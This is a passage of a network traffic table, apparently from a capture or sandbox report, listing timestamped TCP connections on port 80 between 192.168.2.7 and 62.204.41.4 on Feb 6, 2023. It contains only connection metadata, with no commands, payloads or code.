Feb 6, 2023 18:36:59.086652994 CET	49947	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.147331953 CET	80	49947	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.147392988 CET	80	49946	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.147613049 CET	49946	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.147628069 CET	49947	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.148433924 CET	49947	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.208779097 CET	80	49947	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.213347912 CET	80	49947	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.213525057 CET	49947	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.320638895 CET	49947	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.321953058 CET	49948	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.381370068 CET	80	49947	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.381627083 CET	49947	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.383788109 CET	80	49948	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.384007931 CET	49948	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.384504080 CET	49948	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.446225882 CET	80	49948	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.448514938 CET	80	49948	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.448718071 CET	49948	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.558080912 CET	49948	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.559067011 CET	49949	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.619966984 CET	80	49948	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.620119095 CET	49948	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.620496988 CET	80	49949	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.620585918 CET	49949	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.621007919 CET	49949	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.682434082 CET	80	49949	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.684891939 CET	80	49949	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.685159922 CET	49949	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.788865089 CET	49949	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.789841890 CET	49950	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.849730968 CET	80	49950	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.849983931 CET	49950	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.850796938 CET	80	49949	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.850924015 CET	49949	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.857429028 CET	49950	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.917423964 CET	80	49950	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.920886040 CET	80	49950	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:59.921142101 CET	49950	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.024225950 CET	49950	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.025279045 CET	49951	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.084105968 CET	80	49950	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.084201097 CET	49950	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.087932110 CET	80	49951	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.088159084 CET	49951	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.088634014 CET	49951	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.151001930 CET	80	49951	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.157044888 CET	80	49951	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.157212019 CET	49951	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.281361103 CET	49951	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.283972979 CET	49952	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.343476057 CET	80	49952	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.343683958 CET	49952	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.343861103 CET	80	49951	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.343934059 CET	49951	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.344242096 CET	49952	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.403821945 CET	80	49952	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.406126022 CET	80	49952	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.406342983 CET	49952	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.523164988 CET	49952	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.523828983 CET	49953	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.582727909 CET	80	49952	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.582926989 CET	49952	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.585288048 CET	80	49953	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.585424900 CET	49953	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.586144924 CET	49953	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.647452116 CET	80	49953	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.650333881 CET	80	49953	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.650470018 CET	49953	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.758477926 CET	49953	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.760668039 CET	49954	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.820111990 CET	80	49953	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.820147038 CET	80	49954	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.820276976 CET	49953	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.820334911 CET	49954	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.821017027 CET	49954	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.881503105 CET	80	49954	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.883276939 CET	80	49954	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:00.883399010 CET	49954	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.992302895 CET	49954	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:00.993376970 CET	49955	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.052448034 CET	80	49954	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.052630901 CET	49954	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.054838896 CET	80	49955	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.055017948 CET	49955	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.055368900 CET	49955	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.116906881 CET	80	49955	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.122129917 CET	80	49955	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.122239113 CET	49955	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.243350983 CET	49955	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.244371891 CET	49956	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.306515932 CET	80	49955	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.306608915 CET	49955	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.308765888 CET	80	49956	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.308904886 CET	49956	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.309389114 CET	49956	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.371953964 CET	80	49956	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.375094891 CET	80	49956	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.375189066 CET	49956	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.491956949 CET	49956	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.492826939 CET	49957	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.554840088 CET	80	49956	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.555596113 CET	80	49957	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.555754900 CET	49956	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.555799961 CET	49957	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.557192087 CET	49957	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.620187044 CET	80	49957	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.622724056 CET	80	49957	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.622890949 CET	49957	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.726656914 CET	49957	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.727458000 CET	49958	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.788769960 CET	80	49958	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.788906097 CET	49958	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.789385080 CET	80	49957	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.789465904 CET	49957	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.789882898 CET	49958	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.851257086 CET	80	49958	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.854120970 CET	80	49958	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:01.854284048 CET	49958	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.961996078 CET	49958	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:01.963004112 CET	49959	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.023561954 CET	80	49958	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.023614883 CET	80	49959	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.023762941 CET	49958	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.023797989 CET	49959	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.027472973 CET	49959	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.088284016 CET	80	49959	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.092313051 CET	80	49959	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.093806982 CET	49959	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.211266994 CET	49959	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.212017059 CET	49960	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.271565914 CET	80	49960	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.271871090 CET	49960	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.272111893 CET	80	49959	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.272213936 CET	49959	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.273096085 CET	49960	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.332509995 CET	80	49960	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.335052013 CET	80	49960	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.337601900 CET	49960	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.459347963 CET	49960	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.460277081 CET	49961	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.518821955 CET	80	49960	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.518991947 CET	49960	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.521791935 CET	80	49961	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.521979094 CET	49961	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.522336006 CET	49961	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.584459066 CET	80	49961	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.587881088 CET	80	49961	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.590034962 CET	49961	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.695238113 CET	49961	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.696368933 CET	49962	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.756958008 CET	80	49961	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.758950949 CET	80	49962	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.759140015 CET	49961	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.759192944 CET	49962	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.769565105 CET	49962	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.832433939 CET	80	49962	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.835967064 CET	80	49962	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:02.836119890 CET	49962	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.946366072 CET	49962	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:02.947870970 CET	49963	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.009007931 CET	80	49962	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.009604931 CET	80	49963	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.009752035 CET	49962	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.009821892 CET	49963	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.026261091 CET	49963	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.087728977 CET	80	49963	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.091744900 CET	80	49963	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.092304945 CET	49963	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.216728926 CET	49963	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.217628002 CET	49964	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.278532982 CET	80	49963	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.278702021 CET	49963	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.279565096 CET	80	49964	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.279700041 CET	49964	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.280174017 CET	49964	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.341512918 CET	80	49964	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.343910933 CET	80	49964	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.346677065 CET	49964	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.467919111 CET	49964	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.468790054 CET	49965	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.529201031 CET	80	49965	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.529315948 CET	49965	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.529442072 CET	80	49964	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.529516935 CET	49964	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.533119917 CET	49965	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.593611956 CET	80	49965	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.596465111 CET	80	49965	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.596678972 CET	49965	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.712304115 CET	49965	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.713027954 CET	49966	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.772995949 CET	80	49965	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.773155928 CET	49965	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.773528099 CET	80	49966	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.773627043 CET	49966	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.777401924 CET	49966	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.837919950 CET	80	49966	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.841682911 CET	80	49966	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:03.841871023 CET	49966	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.945832014 CET	49966	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:03.947216988 CET	49967	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.006681919 CET	80	49966	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.006859064 CET	49966	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.008645058 CET	80	49967	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.008845091 CET	49967	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.009354115 CET	49967	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.070760012 CET	80	49967	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.074354887 CET	80	49967	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.074453115 CET	49967	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.181339025 CET	49967	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.182714939 CET	49968	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.242991924 CET	80	49967	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.243190050 CET	49967	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.243427992 CET	80	49968	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.243546009 CET	49968	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.244029045 CET	49968	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.304950953 CET	80	49968	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.307334900 CET	80	49968	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.307485104 CET	49968	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.414613962 CET	49968	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.415302992 CET	49969	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.475838900 CET	80	49968	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.475867987 CET	80	49969	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.476028919 CET	49968	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.476103067 CET	49969	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.479000092 CET	49969	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.539460897 CET	80	49969	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.542346001 CET	80	49969	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.542516947 CET	49969	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.650141954 CET	49969	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.651437044 CET	49970	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.710895061 CET	80	49969	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.711111069 CET	49969	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.711721897 CET	80	49970	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.711833000 CET	49970	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.713404894 CET	49970	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.773910046 CET	80	49970	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.776000023 CET	80	49970	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.776091099 CET	49970	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.926167011 CET	49970	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.926888943 CET	49971	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.986344099 CET	80	49971	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.986475945 CET	49971	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.986557961 CET	80	49970	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:04.986625910 CET	49970	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:04.988037109 CET	49971	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.047513962 CET	80	49971	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.052577972 CET	80	49971	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.052711964 CET	49971	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.166815996 CET	49971	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.168164968 CET	49972	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.226486921 CET	80	49971	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.226598024 CET	49971	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.228825092 CET	80	49972	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.229016066 CET	49972	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.232422113 CET	49972	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.293057919 CET	80	49972	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.295784950 CET	80	49972	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.295902967 CET	49972	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.399679899 CET	49972	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.400377989 CET	49973	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.460659027 CET	80	49972	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.460772038 CET	49972	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.460823059 CET	80	49973	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.460915089 CET	49973	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.465389967 CET	49973	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.525952101 CET	80	49973	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.528156042 CET	80	49973	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.529949903 CET	49973	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.663144112 CET	49973	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.666196108 CET	49974	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.723985910 CET	80	49973	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.726058960 CET	49973	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.728852034 CET	80	49974	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.730160952 CET	49974	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.733542919 CET	49974	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.796360970 CET	80	49974	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.799844980 CET	80	49974	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.799937963 CET	49974	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.916224003 CET	49974	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.917253017 CET	49975	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.977950096 CET	80	49975	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.978106976 CET	49975	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.978492975 CET	49975	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:05.978813887 CET	80	49974	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:05.978915930 CET	49974	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.039000034 CET	80	49975	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.042375088 CET	80	49975	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.046655893 CET	49975	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.149369001 CET	49975	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.150434017 CET	49976	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.210196972 CET	80	49975	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.210465908 CET	49975	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.213321924 CET	80	49976	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.213555098 CET	49976	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.213926077 CET	49976	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.277534962 CET	80	49976	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.283323050 CET	80	49976	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.286303997 CET	49976	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.400430918 CET	49976	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.401232004 CET	49977	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.463116884 CET	80	49977	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.463459015 CET	49977	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.463464975 CET	80	49976	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.463584900 CET	49976	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.464354992 CET	49977	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.525866032 CET	80	49977	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.529069901 CET	80	49977	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.529205084 CET	49977	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.633764029 CET	49977	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.634655952 CET	49978	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.695709944 CET	80	49977	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.695915937 CET	49977	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.696211100 CET	80	49978	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.696341038 CET	49978	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.699429989 CET	49978	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.760797977 CET	80	49978	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.766144037 CET	80	49978	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.766391993 CET	49978	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.887712002 CET	49978	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.888756990 CET	49979	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.949683905 CET	80	49978	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.949805021 CET	49978	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.950190067 CET	80	49979	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:06.950289965 CET	49979	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:06.951379061 CET	49979	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.010854006 CET	80	49979	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.014616966 CET	80	49979	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.014822006 CET	49979	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.126286983 CET	49979	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.147845984 CET	49980	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.186788082 CET	80	49979	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.186934948 CET	49979	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.210082054 CET	80	49980	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.210321903 CET	49980	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.211466074 CET	49980	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.274081945 CET	80	49980	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.280040979 CET	80	49980	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.280267000 CET	49980	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.480415106 CET	49980	80	192.168.2.7	62.204.41.4
